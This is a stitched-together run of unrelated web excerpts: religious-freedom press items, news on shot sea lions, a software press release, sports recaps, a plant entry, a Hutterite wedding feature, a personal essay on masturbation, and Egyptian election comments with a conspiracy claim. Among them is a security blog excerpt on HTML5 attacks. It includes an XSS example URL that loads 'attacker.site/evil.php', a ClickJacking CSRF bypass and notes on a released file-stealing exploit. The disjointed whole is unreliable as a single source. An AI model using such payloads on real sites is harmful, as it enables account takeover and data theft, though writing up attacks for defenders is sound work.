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5/19/17: RUSSIA: Release Bagir Kazikhanov
USCIRF Commissioner John Ruskay tells the Russian Government to "stop equating peaceful religious behavior with terrorism or extremism and immediately release Bagir Kazikhanov."
5/15/17: Open Letter from USCIRF Commissioner Jackie Wolcott to Pastor Nguyen Cong Chinh and Mrs. Tran Thi Hong
"Dear Pastor Chinh and Mrs. Hong: I write to you as a Commissioner on the U.S. Commission on International Religious Freedom and a person of faith who is deeply concerned about your well-being."
5/12/17: INDONESIA: USCIRF Denounces the Recent Conviction and Sentencing of Jakarta's Governor for Blasphemy
USCIRF calls for the release of those accused of or convicted of blasphemy stating that blasphemy "laws are used to intimidate and harass individuals, including religious dissenters and minorities and violate their freedom of religion and belief."
5/9/17: CUBA: USCIRF Condemns the Expulsion of Félix Yuniel Llerena López from the University of Cuba
CUBA: USCIRF Condemns the Expulsion of Félix Yuniel Llerena López from the University of Cuba. "I call on the Cuban government to immediately cease its harassment of Félix Llerena and his fellow religious freedom advocates," stated USCIRF Chair Thomas J. Reese, S.J.
4/26/17: USCIRF Releases 2017 Annual Report
FOR IMMEDIATE RELEASE April 26, 2017 USCIRF Releases 2017 Annual Report USCIRF Recommends Russia be Designated a Country of Particular Concern
4/25/17: Open Letter from USCIRF Commissioner Tenzin Dorjee to the Panchen Lama on his Birthday (April 25)
FOR IMMEDIATE RELEASE April 20, 2017 RUSSIA: Supreme Court Outlaws the Jehovah's Witnesses USCIRF Condemns Russian Supreme Court Decision Banning the Jehovah's Witnesses
FOR IMMEDIATE RELEASE April 4, 2017
3/15/17: SYRIA: Six Years of War
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This article details an algorithm and associated sample code for software occlusion culling. The technique divides scene objects into occluders and occludees, and culls occludees based on a depth comparison with the occluders, software rasterized to the depth buffer. The sample code is optimized with SSE* and multi-threading, and uses frustum culling to achieve an 8X performance speedup compared to a non-culled display of the sample scene.

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SEATTLE (AP) — Federal authorities aren't sure yet who shot several sea lions in the Puget Sound region in recent weeks, but a conservation group has offered up $10,000 for information that helps convict the perpetrators.
At least seven dead sea lions and one harbor seal have washed up in Puget Sound and on the Washington coast since early December, Brian Gorman, a spokesman with NOAA Fisheries Service in Seattle, said Tuesday. One of the animals was a federally endangered Stellar sea lion.
Bullets or bullet fragments have been found or recovered from all seven sea lions, but biologists are working to determine whether the bullets killed them, Gorman said. He noted that stranded mammals have been found with old bullet wounds that aren't fatal.
The number of dead marine mammals is unusual but not alarming so, authorities say.
"This is not uncommon to have dead marine mammals killed intentionally," said Mike Cenci, deputy enforcement officer with the Washington Department of Fish and Wildlife, which is assisting NOAA in the investigation. "I'm not saying it's rampant, but we investigate a number of these a year."
Salmon-hungry sea lions often get entangled in fisherman's nets or catches, and some consider them to be nuisances.
"They're not warm and cuddly. These are big guys. They're stinky. They're carnivores, and they're doing what they do best — they're hunting for fish," which puts them in conflict with fishermen, Gorman said.
In biological terms, however, losing this many animals won't have a measureable effect on the population of California sea lions, which is very healthy, he said.
"We do pursue these cases seriously," Gorman said, adding "Obviously, people can't go around shooting sea lions willy nilly."
All the animals are federally protected by the Marine Mammal Protection Act. But Steller sea lions are also protected under the Endangered Species Act.
A necropsy is being performed Tuesday on one sea lion, and X-rays are scheduled on three others this week. Bullets recovered from the animals could also help determine whether the bullets came from the same gun, he said.
Investigating such marine mammal deaths can be challenging, because very often there are no witnesses and such crimes often happen on the water where few are watching, officials said.
Bill Giles, deputy special agent in charge of Northwest enforcement for NOAA, said officers are following tips received through its hotline.
Many of the animals were dead before they were found. One dead lion discovered last week in West Seattle had been dead for at least three weeks.
The Sea Shepherd Society is urging people with information to call NOAA's national enforcement at 800-853-1964 or call 911 to report a crime in progress.
In 2008 when six sea lions were found dead in traps on the Columbia River, suspicion immediately fell on fishermen, who have long complained that sea lions gobble up salmon at the Bonneville Dam. Federal officials initially said the sea lions had been shot, but necropsies by state and federal experts later found no evidence of bullet wounds. NOAA later said the deaths of those animals were the results of necropsies on all six animals were consistent with death from heat stroke.
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CityTech Joins Alfresco Gold Partner Program
Alfresco Adds to its Strong List of Integration Partners
LONDON—November 27, 2006—Alfresco Software, Inc., the first and leading provider of an open source enterprise content management solution today announced that CityTech has become a member of the Alfresco Gold partner program. CityTech is a consultancy, based in Chicago, IL USA and has been using Alfresco as its knowledge management solution for the past six months.
CityTech will offer system integration services and custom application development services for government and commercial clients around the Alfresco enterprise content management solution. CityTech has five (5) core areas of practice: Enterprise Content Management, Services Oriented Architecture, Enterprise Portals, Mobile Applications and Web Design & Usability. CityTech leverages the Java platform as the basis for building solutions around these practice areas.
Announcing the partnership, Matt Van Bergen, CTO of CityTech commented "We are delighted to become a Gold partner with Alfresco. Our Alfresco partnership will further enable our expertise in implementing content based solutions where scalability, reliability and integration are a necessity. We are excited with Alfresco's implementation strategy with flexibility in being able to integrate Alfresco into business processes in government and commercial organizations. With Alfresco by our side for support, we feel that we can offer 24/7 solutions with piece of mind."
"Alfresco 1.4 was designed to be the platform for delivering Enterprise Content Management applications," said Dr. Ian Howells, Chief Marketing Officer, Alfresco Software, Inc. "The goal was to create an ecosystem of partners delivering Alfresco solutions and this is an excellent example of this. We look forward to working with CityTech's experienced ECM team."
About Alfresco
Alfresco is the leading open source alternative for enterprise content management. It is the first company to bring the power of open source to the enterprise content management market, enabling unprecedented scale and a much lower total cost of ownership than proprietary systems. Founded by a team of content management veterans that includes the co-founder of Documentum, John Newton and former COO of Business Objects, John Powell. Alfresco is based in London. For more information, visit www.alfresco.com.
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Faith Stewart scored three goals to lift Wofford to a 4-1 victory over East Tennessee State Sept. 13 at Snyder Field in Spartanburg, SC, keeping the Lady Terriers undefeated on the season.
Stewart got Wofford on the board just eight minutes into the match on a header. Amanda Leyland had the ball on the left side of the box and played a pass to the far post to Amanda Berman. Berman one-touched the ball to Stewart on the left post and Stewart finished the play.
Less than seven minutes later, Stewart and Berman broke away from the East Tennessee State defense. Berman crossed the ball to Stewart who pounded a shot into the back of the net to give Wofford a 2-0 lead at the half.
East Tennessee State (2-3-0, 0-2-0) closed to within 2-1 when Melissa Wilder took control of a deflection off of Wofford keeper Katie Menegaz and put the ball into the goal in the 46th-minute.
However, Wofford recovered less than 10 minutes later as Berman headed the ball into the goal off a cross by Leyland to put the Lady Terriers ahead 3-1 in the 57th-minute.
Stewart finished the scoring when she gained control of the ball in front of the Buccaneer goal, juked two defenders, and slid a shot to the right of the keeper for her third goal in the 72nd-minute.


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Wetland Plants of Wisconsin
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Family: Asteraceae
Bidens cernuus is a member of the Aster family, and each large "flower" is actually a head of many small flowers. There are many species in this family, of a wide variety of appearances. Be advised that identification based on photo matching is not reliable and you should turn to the keys in Michigan Flora or the web site for KEYS TO THE ASTERACEAE OF WISCONSIN.
The leaves of Bidens cernuus are "perfoliate", meaning that each opposite pair appears to be joined at the base with the stem passing through the middle. There are other perfoliate plants such as Eupatorium perfoliatum, but the flowers in that species are white and of very different design. The "seeds" (actually fruits) of Bidens cernuus have retrorsely barbed margins and awns at the tips, serving to readily attach them to the fur or feathers of passing animals, or to the clothing of people. The size of a plant can vary wildly, from an inch or so with a single flower, to 5 feet or more tall and bushy with many flowers.
Bidens cernuus is an annual species of wet, muddy edges, often appearing after water levels have fallen, exposing previously flooded sites. They are then quickly outcompeted on the site if water levels remain low, or the seeds will fail to germinate in successive years if water levels rise enough to flood the site. The result is that you may find large and vigorous populations in one year and return in subsequent years to find few or no plants on the same site.


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For all the talk about how baseball's All-Star Game has become boring and irrelevant, it appears the Japanese All-Star game has figured out how to liven up matters: Aliens in the dugout.
Seriously: They have a little more fun with their All-Star game there than we do. Heck, you should see how Shinjo dressed up.
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Kissed by Magic
Love Spell, Jan 2004, 5.99, 320 pp. ISBN: 0505525801 Maestro the King of the Pixies assigns mission impossible to Allegro Soprano and her partner Largo Bass with the option of refusal. However, the two fairies know that they have no choice for if their populace is to thrive, love must also flourish in England. The unattainable assignment is to have the Black Falcon and Spinster of Nottingham fall in love. Desperate to make progress, the fair...


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A personal shopper in Paris refuses to leave the city until she makes contact with her twin brother who previously died there. Her life becomes ...
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A look at the final days of Knights Templar during the 14th century.
Country: USA
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Max from Rock it Biz needed a new logo design and created a contest on 99designs.
A winner was selected from 240 designs submitted by 41 freelance designers.
Rock it Biz
ROCK IT BIZ is a foundation to bring children, of all cultures and social status in Germany, the idea of entrepreneurship.
ROCK IT BIZ will show all these kids new horizons and possibilities, support their self-confidence and teaches them to trust themselves and their own outstanding ideas – and they will have outstanding ideas, believe us.
And here is the long version:
Why entrepreneurship, business and finance?
When children one day go off school, this is what it is all about. No, they do not need to become investment-brokers (beware us of that). Maybe they will be nurses, architects, artists, yes maybe even bakers, scientists, technologist or bankers. What ever they will become, they will have to cope with business.
The better they can care for themselves, the better they will feel – and this for a lifetime! The earlier you learn to care for yourself and to believe in what you want to do, the easier it is to reach your goals. You will not sit there and wait, you will act and encourage others. Got the clue?
ROCK IT BIZ is teaching the kids to care for themselves and to help others making the best out of them, looking for new horizons, possibilities and to bring them alive! Yes, we think this is magic!
We speak to children in the age of 8 to 15, from 3rd till 10th class.
We speak to donators, corporate and private.
We speak to teachers from schools and trainers from the corporates.
We speak to parents.
Create raving fans.
Logo: We like a "rocket" as our key-sign - a cool one!!!
Our Name: "Rock it Biz" (please write it in mixed types - not just capitals. Subline is: "gemeinnützige Stiftungs-GmbH"
The logo should work with and without the subline.
You may take a look at http://www.rockitbiz.org
thanks and enjoy
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Combi Oven
The idea that something is "the best of both worlds" likely suits no other piece of commercial cooking equipment better than the combination oven. Pairing the humidified cooking of a steamer with the efficient baking of convection, it provides even heating that keeps your food moist. This type of convection steam oven is great for roasting and baking, and also performs well for breads, cakes, and other foods you might prepare in a convection oven. Additionally, foods that are typically cooked in steam, like fish and vegetables, can be efficiently prepared in a combi oven. Read on below to learn more about these incredibly useful pieces, including how to size them and why it matters where your steam comes from. More


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Waiting to Wear Blue: For Hutterites, Love and Marriage Rely on Providence
Aksamit, Nichole. "Waiting to Wear Blue: For Hutterites, Love and Marriage Rely on Providence." Forum, 16 November 1999, sec. A1 & A7.
The modest women of Spring Prairie Colony share a quiet moment in the early morning sun on a trailer behind a tractor headed for a cucumber field northwest of Hawley, Minnesota.
Asked if she and her cousin are single, 24-year-old Thelma Wipf jokes: "Yes, we are unclaimed jewels of the prairie."
Nineteen-year-old Delia Wipf shrugs her shoulders and adds simply, "If God wants us to marry, it will happen."
The two young Hutterites say finding a husband is somewhat difficult since they are blood relatives to most of the men at this communal Christian colony, a few miles northwest of Hawley.
In fact, although 125 people live at Spring Prairie, there are only three family surnames: Waldner, Wipf and Kleinsasser.
"Most of the men here are our cousins or first cousins once removed," Delia explains. "So we have to wait until a visitor comes from another colony and hope to catch his eye."
The two say most Hutterites marry in their mid-20's, since most do not request baptism until they are 20 or older.
Hutterites typically meet their mates during family or work-related visits to or from another colony - usually, but not necessarily, within their branch (Schmiedeleut, Lehrerleut, or Dariusleut).
In wedding photographs of Delia's cousins, brides wear bright blue handmade dresses and grooms wear newly sewn black suits. Some smile for the camera. Most do not.
"We're not supposed to take pictures," Delia says. "But some do."
Delia explains the Hutterite marriage tradition.
Hutterites marry for life, and do not allow divorce. There is a separation if one member of a couple leaves the colony, she says, because a believing spouse should not be dragged down into a world of sin by an unbeliever. But the brotherhood does not grant divorce or seek alimony if a spouse leaves, and the spouse of an apostate member may never remarry.
Women are always married at their husband's colony, where they go to live after the wedding.
Marriages are no longer arranged, but couples must obtain the blessing of their families before they can get engaged.
The week before the wedding, it is announced during church services at both colonies that the couple intend to wed. The couple pledge their intent, and the engagement is called a "chivalry."
The week before the wedding, the bride is relieved of her normal duties so that she can concentrate on packing and preparing her clothing.
On the Friday before the wedding, the groom and members of his colony come to get her and any of her family who will attend the wedding.
They have church and supper together and then go Saturday to the groom's colony.
Weddings are always on Sundays, part of the morning church service. There are no attendants, no best man or maid of honor, no special music beyond the usual unaccompanied church songs, and the church is unadorned. But brides often carry flowers, and Hutterite wedding cakes made by the colony baker are as elaborate and towering as any found in the outside world.
The wedding ceremony involves a sermon about marital commitment and the couple exchange vows binding themselves together until death parts them. The husband agrees not to drag his wife into sin or make trouble with the colony if he should fall from his faith. The wife agrees to obey her husband in all things.
They do not give rings, since jewelry is forbidden, and Hutterite brides always take their husband's last name.
A reception follows in the dining hall. In the evening, there is supper and a "hulba" or party "where the young people stay up late talking and singing" unsupervised. Although musical instruments are forbidden, some bring out harmonicas or keyboards and sing English songs during these parties.
A hulba is one of the few opportunities for male-female socialization. Delia says the only other opportunity for such a gather is when there is a funeral. "But there is so much joy at a wedding," she says.
In strict accord with Hutterite simplicity, newlyweds do not have a honeymoon - except for "the one until you die," as Thelma notes.
Although she and Delia are aware that marriage isn't all roses, it's clear they look forward to a day to wear blue.
Says Delia: "My mother always says there are so many roses and so beautiful that you don't notice the thorns."
The young women at Spring Prairie Colony wait patiently for a day to wear blue. In love, as in life itself, they reason, God will provide.
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Organic matter is openly recognized as a valuable part of our soils. However, the reasons why aren't always fully recognized.
Understanding why organic matter matters is just another component in better understanding and managing your soil health.
Organic matter is comprised of multiple fractions or pools each of which benefits and contributes to soil health in different ways.
The active fraction of organic matter has the fastest breakdown or turnover rate of approximately one to two years.
Lasting longer than the active fraction, approximately two to five years is the intermediate fraction.
The third pool is the stable fraction, which is more resistant to break down and can take 10 or more years to break down.
While there are many ways that organic matter contributes to soil health, these benefits can be categorized into a few general categories: nutrient cycling, water movement, and soil structure.
When we maintain or increase the organic matter portion of the soil, we gain the following benefits.
Nutrient cycling benefits:
- Increases supply of plant nutrients upon organic matter breakdown;
- Increased storage of nutrients with increased Cation Exchange Capacity.
Water movement
- Increased water holding capacity;
- Reduced runoff;
- Improved water infiltration;
- Decreased soil water evaporation.
- Reduced soil crusting especially in fine-textured soils;
- Improved aggregation reducing soil erosion;
- Increased compaction resistance;
- Improved root development and infiltration.


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Former Iowa wide receiver Andy Brodell didn't even make it to his first practice.
Brodell failed his physical with the Green Bay Packers because of a torn hamstring, according to the Milwaukee Journal-Sentinel. Brodell told the paper he plans to speak with his agent and try to sign with another team.
Other Iowa football players were issued new numbers for the upcoming season.
Defensive tackle Mitch King (Tennessee) No. 62
Center Rob Bruggeman (Tampa Bay) No. 66
Tight end Brandon Myers (Oakland) No. 83
Guard Seth Olsen (Denver) No. 70
Cornerback Bradley Fletcher (St. Louis) No. 32
Running back Shonn Greene and defensive tackle Matt Kroul (both of the N.Y. Jets) have not been assigned numbers.


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The U.S. Supreme Court closed the book Monday on an era in American conservation history that had all but ended more than a decade ago.
The court rejected an appeal challenging the 2001 Clinton roadless rule that stopped logging and road building on 58 million acres of national forests. There are still a couple of legal cases hanging but the rule, which said keep roadless forests essentially as they are, has passed through the legal gantlet.
Idaho's separate roadless rule for managing the state's 9.3 million acres of roadless lands was upheld by U.S. District Judge B. Lynn Winmill, and is up for appeal before the 9th Circuit Court of Appeals. A hearing is scheduled in Portland Nov. 9.
And a separate case over 15 million acres of roadless forests in Alaska is still unresolved. But even if environmentalists lose both cases the chances of major logging and road building are doubtful.
When Clinton proposed the rule in 2000 the timber industry had already been all but prevented from logging roadless national forests by lawsuits over water quality and endangered species. By the end of the 20th Century the Forest Service had become the nation's top road-building agency, with 380,000 miles of roads, nine times the 40,000 miles of the U.S. Interstate highway system. The agency had an $8 billion road maintenance backlog that few in Congress wanted to grow.
So even if the rule had not been pushed by Clinton with wide public support, the roadless forests would have been largely left as they are anyway. But the rule made the political reality clear and helped push those who might have invested in roadless logging and development to put their money elsewhere.
Still, states like Idaho, Alaska and Wyoming held out and fought in court. After earlier court defeats, Idaho and the Bush Administration took another route.
They pushed their own separate roadless rule that only got legs when then Gov. Jim Risch committed to making his rule as good or better than the 2001 rule. One can argue whether he met the test but his effort brought conservation groups like the Idaho Conservation League and Trout Unlimited on board.
Eventually the groups approved a plan to protect all but 405,000 acres of the 9.3 million roadless forests in Idaho with the support of timber companies, loggers, local officials and miners.
The excluded acres are in eastern Idaho where JR Simplot hopes to eventually expand its phosphate mines. That kept other groups like the Wilderness Society and the Greater Yellowstone Coalition from joining Risch and that's why it remains on appeal.
Meanwhile Idaho's Roadless Commission meets to discuss management within the state's roadless areas with wide support for protection from people on all sides. The Wilderness Society and other conservation groups are working with loggers and local government to get the Forest Service to do more logging along with restoration projects.
"It's really a different era than when the roadless rule was approved," said Mike Anderson, the Wilderness Society's senior resource analyst.
So if the 9th Circuit overrules Winmill over the Idaho roadless case, the most it could do is to reinstate the 2001 rule. The only place that might change much on the ground is for those 450,000 acres.
And since traditional forest management regulations would remain in place there might not be much change at all.


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March and April sure look a lot different than January and February.
Most economic indicators have perked up in the early spring and that's no surprise: The weather is a lot better. And a bevy of reports on Thursday is expected to underscore the "spring snapback" theme.
Start with consumer spending. Economists polled by Marketwatch predict spending jumped 0.7% in March after gains of 0.3% in February and 0.2% in January. Stronger sales at auto dealerships and other retailers provided the extra boost. Auto sales, for example, are estimated to hold steady at a 16.2 million annual rate in April, just a touch below a post-recession high.
Consumer spending is the linchpin of the U.S. economy, and when Americans feel confident enough to spend more, that's usually a good sign.
Construction spending likely bounced back in March as well. Builders were able to ramp up construction as the ground thawed and the snow melted away. Wall Street expects a 0.6% increase after a 0.1% advance in February.
Manufacturers, for their part, saw plenty of orders delayed and production disrupted by poor weather earlier in the year, but those problems have also faded. A pair of surveys by the Institute for Supply Management and Markit are projected to show an acceleration in business in April.
Watch the movement in initial jobless claims, too. They jumped sharply last week to 329,000, an increase that economists attributed to a technical problem when the report was seasonally adjusted for the Easter holiday.
In other words, the spike in claims was basically an anomaly that will soon disappear. If economists are right, claims fall closer again to the 300,000 mark in the next week or two.
– Jeffry Bartash
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My history
Female masturbation seems to intrigue a lot of people, either because they cant figure out how common it is, or how girls do it at all. Or, of course, for voyeuristic reasons, as has been the case with most of the email anticipating this page.
I dont really know what proportion of girls masturbate, or how often, but I do it. Sometimes a lot, sometimes not as much. Not very much lately, because I live with my beloved boy and have sex almost every day, but when one of us goes somewhere for any length of time, I masturbate some.
There are lots of reasons that I have masturbated. Most often just because I wanted to, but also occasionally to get to sleep, or to help cramps or a headache, and sometimes to help get aroused, in which case I wouldnt follow through to orgasm. I didnt ever masturbate to relax before a date or a party.
The first time I masturbated was in grade 8. The idea hadnt occurred to me until it was discussed in sex education class. The class convinced me that it wasnt wrong or unhealthy, but I knew that my dork status would be elevated to perverted dork if anyone ever had reason to suspect my habits.
Until about grade 10, I dont remember having any kind of discussion about masturbation with any of my friends, except in the context of dirty jokes. For the rest of high school, the most myself or my girl friends would say was impersonal and kind of political. Agreeing that masturbation by girls in general should be accepted, the way it was for boys. Stating that it was silly that a masturbating boy was deemed healthy while a masturbating girl should be taken to the doctor. I dont remember guys getting in on the discussion.
That was all more applicable in a small, redneck town such as we lived in. Some girl once made a comment in health class to the effect that she couldnt be expected to know what her vagina looked like because she would never, ever look at it. Only my friend and myself were taken aback.
Until I was about 20, I never discussed or referred to masturbation, so I didn't develop any other names for it. I knew various names but didnt use them. I dont remember telling a lot of masturbation jokes, and Im pretty sure I never accused anybody of it or made fun of them for it. Currently, I prefer to refer to my own masturbation as either "availing myself of myself," or as, umm... beating my meat (when I am being silly).
The only girl I have ever witnessed masturbating was at a sleepover in grade nine, when I woke up early. It was nothing graphic (she was still laying in bed), I could just tell what she was doing. All I thought was that she was kind of dumb for not realizing I was awake, as I presumed she didnt want me to see.
She was proceeding in about the same way I would, as far as I could tell, and the existence of radically different methods didnt occur to me until like last year, when I was reading a lamely-executed masturbation resource page for entertainment.
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Red state voters are more likely to die in a traffic accident than blue state voters.
That's the finding of FairWarning.org, an online, nonprofit publication that does public interest journalism.
"The 10 states with the highest fatality rates all were red, while all but one of the 10 lowest fatality states were blue. What's more, the place with the nation's lowest fatality rate, while not a state, was the very blue District of Columbia," FairWarning said in an article published Tuesday.
It noted that the blue Massachusetts had the lowest rate among the states, with 4.79 road deaths per 100,000 people. Red Wyoming had a fatality rate of 27.46 per 100,000.
California had 7.27 road deaths per 100,000 people, the eighth-lowest rate of the 50 states and the District of Columbia.
FairWarning defines a red state as one that voted for Republican presidential candidate Mitt Romney in the recent election and labeled the ones that went for Democratic incumbent President Obama as blue. It examined federal traffic death statistics for 2010.


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Just three more days to go for my 'Attacking with HTML5' talk at BlackHat Abu Dhabi. In addition to covering some of the interesting HTML5 attacks already released during 2010 by myself and other researchers, it has two new sections - HTML5 based port scanning and HTML5 Botnets. I would be talking about a new way to perform JavaScript based port scans that gives very accurate results. How accurate? you can determine if the remote port is open/closed/filtered - that accurate. I am also going to release a tool....more
Well it's been a while since I have blogged. Been quite busy with work lately. Also I guess Lava is better at blogging stuff so I'll leave that to him :)
After my talk at BH EU earlier this year, there has been quite a lot of other really cool stuff been published on penetration testing of JAVA Thick/Smart clients. Check out Javasnoop especially. It has some pretty good features you would like to use. Many people that I spoke to recently said to me that modifying objects programatically using the IRB shell in DSer would be difficult and it would require the penetration tester to have indepth knowledge of the application's source code. Well; in the first place, penetration testing is a skill and it does require hard work, so understanding the application's internals is part and parcel of the job. But that being said DSer allows you to play around with JAVA objects using an interactive shell with some helper methods and is completely extensible. It was meant to be a template, to add your own stuff and extend it's capabilities......more
Matt Austin made a brilliant discovery sometime back and wrote a detailed post of his hack, you absolutely must read it. Basically it is a problem with sites that use Ajax to fetch pages mentioned in the URL after # and then include them in the innerHTML in a DIV element, he picks 'touch.facebook.com' as an example.
Quoting from his postIf you click on any URL you see the links don't actually change the page but loads them with ajax. http://touch.facebook.com/#profile.php actually loads http://touch.facebook.com/profile.php into a div on the page.
The problem here is that the XMLHttpRequest object can make Cross Origin calls thanks to HTML5. So if a victim clicks on a link like 'http://touch.facebook.com/#http://attacker.site/evil.php' then 'http://attacker.site/evil.php' is fetched and is included in the innerHTML of the page leading to XSS.....more
Couple of weeks back Jeremiah Grossman posted details of his (Safari Auto-Complete hack - http://jeremiahgrossman.blogspot.com/2010/07/i-know-who-your-name-where-you-work-and.html) along with a really cool (POC - http://ha.ckers.org/weird/safari_autofill.html). To me the most interesting aspect of the POC is how it populates the text box with JavaScript, simulating the victims keystrokes.
I ran the POC in Google Chrome and as each character was entered in to the Input box, there was a list of auto-complete suggestions that popped-up. The amount of information that was in those lists was scary. Jeremiahs POC was not designed to capture the information in the auto-complete suggestion lists, it was only looking for values that got populated in to the textbox......more
If you claim that "XSS is not a big deal" that means you never owned something by using it and that's your problem not XSS's
Cross-site Scripting is an interesting vulnerability. It is relatively easier to discover in a Penetration test but demonstrating its impact has always been tricky. So tricky in fact that it has pushed one of the most creative groups of people in IT (Penetration testers) in to using the most boring and misleading POC possible. Yes, you guessed it right, the ubiquitous JavaScript alert() box. To break the monotonousness testers sometimes change the message being displayed but thats as far as it usually goes. It also has the nasty side effect of developers blocking the word alert?in their code while eval?is let through.....more
Google Chrome, Safari, Firefox and Opera(Beta) have implemented the HTML5 Offline Application Cache feature. Using this feature a website can have greater control over the caching process to enable Offline access of websites.
When a website is trying to create an Offline Application Cache, Firefox and Opera ask for user permission and only after the user permitting, the site is able to create this cache. With Google Chrome and Safari this step is skipped, any website can create an Application Cache without the user even knowing about it....more
HTML5 is increasingly getting more attention from the developer community as it brings features that most developers would have never used before. Client-side storage with Web SQL Database, Offline Storage, Cross Origin Requests, Offline Application Cache, Cross Origin Messaging are some of these features that are going to have developers drooling over the next few years at the thought of all the cool things they could do.
With all these new possibilities we are going to have many new types of vulnerabilities and attacks. Security has been a prime consideration in the design of the HTML5 spec ....more
JAVA Object Serialization has been in use in many applications for a long time now. I find many enterprise applications that make use of JAVA Object Serialization to transfer objects from the client to sever and vice-versa. Testing such applications is a pain as it is not as straight forward as normal web applications that make use of simple parameter and value in HTTP POST data.
Some applications g-zip the serialized data before transferring it. Most common protocol for such applications is HTTP and RMI. There arent many easy techniques available today to test such applications and even if they do, they have certain shortcomings. At BlackHat EU this year, I discussed a technique that could be used to test such applications ....more
A few days back I got a link to the RubyHero website, it lets you nominate a person of your choice for the Ruby Hero award. I wanted to nominate Manish because he is doing some pretty cool stuff with Ruby and also always ferociously defends Ruby in our Perl vs Ruby arguments. So there I was, on their homepage typing in the Attack and Defense Labs URL in to the input box. But as I typed it in, the URL started showing up inside the Nominate?button. Since it looked like a candidate for XSS I entered ?lt;h1>?and sure enough it was rendered by the browser, tried the script tag and got an alert command to execute.
None of this is even remotely amusing but what is interesting is how this XSS vulnerability can be exploited. The payload in this case can neither be injected through any URL or POST parameter like a reflected or stored XSS nor be injected through any DOM object before the page loads like discussed in popular references of DOM based XSS attacks. It can only be injected by the victim himself by typing out every single character of the payload!! ....more
Hey guys, this year Black Hat Europe is happening at Barcelona, Spain and I will be presenting there for the first time. The topic that I'm speaking on is "Attacking JAVA Serialized Communication". You can read the abstract here. There is an interesting aspect behind this topic. To give you a short background, I usually conduct trainings on Secure Code Development for JAVA developers and Security Testing for QA testers. During one of the lectures, while I was explaining parameter tampering on web applications using interception proxies, one of the developers asked me how I can accomplish the same on thick clients which normally transfer data as serialized object.....more
This idea occurred to me a few weeks back when discussing the potential impact of ClickJacking attacks with Luca. Submitting forms using ClickJacking is hard work and is only successful in very rare scenarios. The Twitter ClickJacking attack was one famous instance where form submission was involved, but it was a form that was submitted over GET?request.
In this post I will discuss a technique that can be used to bypassing any CSRF counter measures and submit POST method -based forms with attacker controlled data using ClickJacking. This works on JSP applications and partially on ASP.NET applications......more
This is it folks! Finally Imposter is available for download. I have put up a short tutorial on how to use it along with some videos of the attacks.
I am also releasing two white papers:
Flash+IE=Prison Break ?Explains the File Stealing attack against Internet Explorer in detail.
Google Gears for Attackers ?Explains the different browser phishing attacks that can be performed against user of Google Gears.
Source code of the File Stealing exploit is also online....more


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|Shafik in Today's presser "Reuters"
I am ready to pay my life to save Egypt from the evil of the Muslim brotherhood
|Shafik in Today's presser "Reuters"
I am ready to pay my life to save Egypt from the evil of the Muslim brotherhood
Youtube is the nightmare of hypocrisy, empty promises and dirty politicians. Would you please Z post a link to the clip where Shafik is parsing MB describing how he grow-up admiring their belief and dedication?
Now he wants to connivence voters he will spend his life to save Egypt from this evil. Was he lying then or is he lying now? Actually he is always lying.
Well-said - very well-said. Everything he says is such a blatant lie that it is hard to imagine anyone believing him.
The problem is that people have become so skeptic of the revolution that they are openly willing to claim support for the old regime in the search for the fake stability they had under the evil security apparatus.
All is fair in politics and elections! :-) That said, the MB also will not and cannot guarantee stability. There will be a substitution of the NDP Regime for the Murshid Regime. Maybe not immediately, buy within two years maximum. Their people will take over the Ministries of Interior, Foreign Affairs, and their people will stage silent "coups" in the Armed Forces hierarchy. If you try to rebel against them they will label you an infidel, and their mindless followers will attack you. Eventually, the Copts will have enough and call for their own State and they will receive Western support. Then the Nubians, and so forth. The Levy plan marches on. You only have to look at which proxy nation and its Media apparatus is supporting them. Then you have to look at this nation and who it aligns itself with. This is a very dangerous time for Egypt and the Middle East. France right now is in its Fifth Republic. That means the first through the fourth republics were deemed not satisfactory to the wishes and desires of the revolutionary ideals that brought them about. So tweaking was done, republic by republic until everyone is satisfied... for now. Rome was not built in a day. It will be easier to oust Shafik in case of failure than it will be to oust the MB. Beware of false prophets. This is the age of Dajaleen.
- Yours, Damazeen
Sadly, Fear remains the only driving-force that freely roams through the Egyptian psych; and regretfully such fears are valid, realistic and likely to materialize!
I sufficiently appreciate the risks implied with both "candidates" and scarred enough, but yet cannot figure how to act on such edge!
MBs are not meant to govern. Their creation sustainability relies on playing the role of divide and concre. Who concre!!? is (are) outside forces aim for controlling Egypt means they control the region. Same story with Hamas and Fateh divide them you controland prevent presence of meaningfull Palestine. So, don't be surprised to hear the MB making all offencive divisive remarks. They don'tplan to win, being responsible, taking blames of mistakes. It is not their role. Check their inputs into political life in Egypt since King Farouk.
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We need the MB as President/Government and Parliament for one purpose only: To do away with the felool once and for all. No other force in Egypt has the power to break the old regime. If Shafik wins, we will have continuity of the old ways. No reforms, no freedom but poverty, cronyism, corruption and torture.ReplyDelete
I still cannot understand how people can compare a regime (NDP) which has the blood of thousands of people on the hands, thousands of arbitrary arrests, one of the hugest corruption record in the world with a party (FJP) which has at least everything to prove in that area. Even if you consider that in a democracy, the main groups need to be represented and share power, you must admit that the political islam movements have a part to reclaim, so has the military (30-40% of the economy and in the end of the day a big influence in the society). We just wait on the liberals, seculars and leftists once they will have decided on another strategy than boycott / dismissal etc.ReplyDelete
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[ https://issues.apache.org/jira/browse/HADOOP-1857?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Amareshwari Sri Ramadasu updated HADOOP-1857: --------------------------------------------- Status: Patch Available (was: Open) Submitting patch again with "info threads" added in gdb default behavior > Ability to run a script when a task fails to capture stack traces > ----------------------------------------------------------------- > > Key: HADOOP-1857 > URL: https://issues.apache.org/jira/browse/HADOOP-1857 > Project: Hadoop > Issue Type: Improvement > Components: mapred > Affects Versions: 0.14.0 > Reporter: Amareshwari Sri Ramadasu > Assignee: Amareshwari Sri Ramadasu > Fix For: 0.15.0 > > Attachments: patch-1857.txt, patch-1857.txt, patch-1857.txt, patch-1857.txt, patch1857.txt > > > This basically is for providing a better user interface for debugging failed > jobs. Today we see stack traces for failed tasks on the job ui if the job > happened to be a Java MR job. For non-Java jobs like Streaming, Pipes, the > diagnostic info on the job UI is not helpful enough to debug what might have > gone wrong. They are usually framework traces and not app traces. > We want to be able to provide a facility, via user-provided scripts, for doing > post-processing on task logs, input, output, etc. There should be some default > scripts like running core dumps under gdb for locating illegal instructions, > the last few lines from stderr, etc. These outputs could be sent to the > tasktracker and in turn to the jobtracker which would then display it on the > job UI on demand. -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
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It would be hard, but imagine the comedy!
I'm not laughing at the thought of Luke being blindfolded, just the all over idea of a team being blindfolded and doing the detour and what TARAsia wrote ......
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Tuesday, December 28, 2010
